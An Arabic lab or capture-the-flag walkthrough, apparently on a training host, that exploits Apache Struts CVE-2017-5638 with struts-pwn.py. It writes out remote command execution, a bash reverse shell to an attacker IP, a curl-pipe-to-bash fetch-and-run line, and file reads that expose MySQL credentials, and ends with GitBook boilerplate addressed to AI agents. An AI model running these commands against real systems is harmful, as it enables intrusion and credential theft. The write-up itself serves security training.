> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## استغلال Apache Struts (CVE-2017-5638)

#### **مراقبة تعداد الأدلة**

أثناء التسجيل، يعرض التطبيق خطأً. ال `.action` الامتداد يشير إلى تطبيق Apache Struts.

<figure><img src="/files/84a7235de358a4d89644bed0349c96c78732c145" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

استخدم `struts-pwn.py` لاختبار تنفيذ الأوامر عن بُعد:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

يعمل الأمر، مما يؤكد وجود الثغرة.

<figure><img src="/files/9ff3f31d0a31edd0c56fd0ff1251473fcbd86809" alt=""><figcaption></figcaption></figure>

#### **شل عكسي**

1. إعداد مستمع Netcat:

```bash
nc -nvlp 443
```

2. أنشئ `index.html` ملف يحتوي على الشل العكسي:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. استضف الملف باستخدام خادم ويب بايثون:

```
python3 -m http.server 8080
```

4. نفّذ الشل العكسي عبر الاستغلال:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

للأسف، هذا الأسلوب يفشل.

### **استخراج المعلومات الحساسة**

سرد الملفات على الخادم:

<figure><img src="/files/a89e21e8409b9a924859ede5d9ed174da5af8a1a" alt=""><figcaption></figcaption></figure>

الـ `db_connect` يحتوي الملف على بيانات اعتماد:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/3c93d411f2c2b404b4f0775c8bd6e55230ea4e95" alt=""><figcaption></figcaption></figure>

بيانات اعتماد MySQL المسترجعة:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* المستخدم: ssn/\_admin / admin
* كلمة المرور=AWs64\@on/\*& / admin

<figure><img src="/files/8ee7976ff8c91cb4c211f1c1003fb4aa2852ecf0" alt=""><figcaption></figcaption></figure>

### استخراج المعلومات - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
